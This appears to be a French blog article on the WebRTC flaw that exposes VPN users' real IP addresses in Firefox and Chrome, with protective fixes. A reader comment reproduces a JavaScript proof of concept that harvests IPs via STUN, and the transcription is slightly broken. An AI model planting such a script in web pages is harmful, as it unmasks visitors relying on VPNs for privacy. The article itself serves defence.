Faille VPN WebRTC avec Firefox et Chrome

Gratuit
Recevez toutes nos informations et actualités par Email.

Entrez votre adresse email:

Correction de la faille WebRTC VPN avec Firefox

Pour protéger leur anonymat sur Internet, beaucoup d’internautes ont recours à des services de VPN permettant de naviguer sur Internet en utilisant une nouvelle adresse IP issu du serveur VPN et ainsi cacher l’adresse IP réelle. Le problème concerne uniquement les navigateurs Chrome et Firefox tout en étant sous système d’exploitation Windows. Les autres systèmes d’exploitation ne seraient pas touchés par cette vulnérabilité d’anonymat.
Cette faille permet à un site web de découvrir la véritable adresse IP de l’internaute même si celui-ci passe par un VPN. Ce problème vient de l’implémentation du protocole WebRTC.

Vulnérabilité WebRTC avec un VPN

La vulnérabilité consiste pour les sites malveillants à exploiter le protocole WebRTC implémenté dans Firefox et Chrome, qui permet au navigateur d’effectuer ainsi une requête vers un serveur STUN pour connaître son adresse IP Internet. Celle-ci est communiquée au client distant pour établir une communication. Le serveur STUN renvoie à Firefox ou Chrome à la fois l’adresse IP privée et l’adresse IP publique, et ces données deviennent alors disponibles par une simple instruction JavaScript exécutée par le site web malveillant qui veut récupérer l’adresse IP des internautes.

Tester la faille VPN WebRTC avec Firefox et Chrome

Vous pouvez d’ailleurs tester si vous êtes vulnérable à cette adresse :

https://www.browserleaks.com/webrtc

Si à la ligne “Is WebRTC Enabled” est inscris true, alors votre navigateur est exposé. Si la réponse est false, c’est que votre navigateur est protégé.

Comment se protéger de la vulnérabilité WebRTC avec un VPN

Pour Chrome
Si c’est le cas, vous devez télécharger cet add-on sous Chrome afin de désactiver WebRTC.

https://chrome.google.com/webstore/detail/webrtc-block/nphkkbaidamjmhfanlpblblcadhfbkdm?hl=en

Pour Firefox
Rendez-vous sur la page “about:config” pour accéder aux options cachés du navigateur et réglez l’option “media.peerconnection.enabled” à la valeur “false”.

  • »
  • »
  • »
  • »
  • »
  • »
  • »
  • »
  • »
  • »
  • »
  • »
  • »
  • »
  • »
  • »
  • »
  • »
  • »
  • »
  • »
  • »
  • »

3 Réponses à “Faille VPN WebRTC avec Firefox et Chrome”

  1. corrigé! merci !

  2. Un morceau de code JavaScript téléchargeable sur GitHub https://github.com/diafygi/webrtc-ips démontre la vulnérabilité :

    //get the IP addresses associated with an account

    function getIPs(callback){

    var ip_dups = {};

    //compatibility for firefox and chrome
    var RTCPeerConnection = window.RTCPeerConnection
    || window.mozRTCPeerConnection
    || window.webkitRTCPeerConnection;

    var mediaConstraints = {
    optional: [{RtpDataChannels: true}]
    };

    // firefox already has a default stun server in about:config
    // media.peerconnection.default_iceservers =
    // [{"url": "stun:stun.services.mozilla.com"}]

    var servers = undefined;

    //add same stun server for chrome
    if(window.webkitRTCPeerConnection)
    servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};

    //construct a new RTCPeerConnection
    var pc = new RTCPeerConnection(servers, mediaConstraints);

    //listen for candidate events
    pc.onicecandidate = function(ice);

    //skip non-candidate events

    if(ice.candidate){
    //match just the IP address
    var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
    var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];

    //remove duplicates
    if(ip_dups[ip_addr] === undefined)
    callback(ip_addr);

    ip_dups[ip_addr] = true;
    }
    };

    //create a bogus data channel
    pc.createDataChannel(”");

    //create an offer sdp
    pc.createOffer(function(result){
    //trigger the stun server request
    pc.setLocalDescription(result, function(){}, function(){});
    }, function(){});
    }

    //Test: Print the IP addresses into the console
    getIPs(function(ip){console.log(ip);});

  3. Cette faille affecte potentiellement tous les utilisateurs qui utilisent un VPN et le navigateur Firefox ou Chrome pour se connecter à un site ou service, uniquement ceux qui sont sous Windows, ça limite la casse. Dans ce cas, l’identité réelle de l’utilisateur est révélée. Heureusement pas à tout le monde, seulement aux sites auxquels se connectent les utilisateurs de VPN.

Laisser un commentaire

Vous pouvez utiliser ces tags XHTML: <a href="" title=""> <abbr title=""> <acronym title=""> <blockquote cite=""> <code> <em> <strong>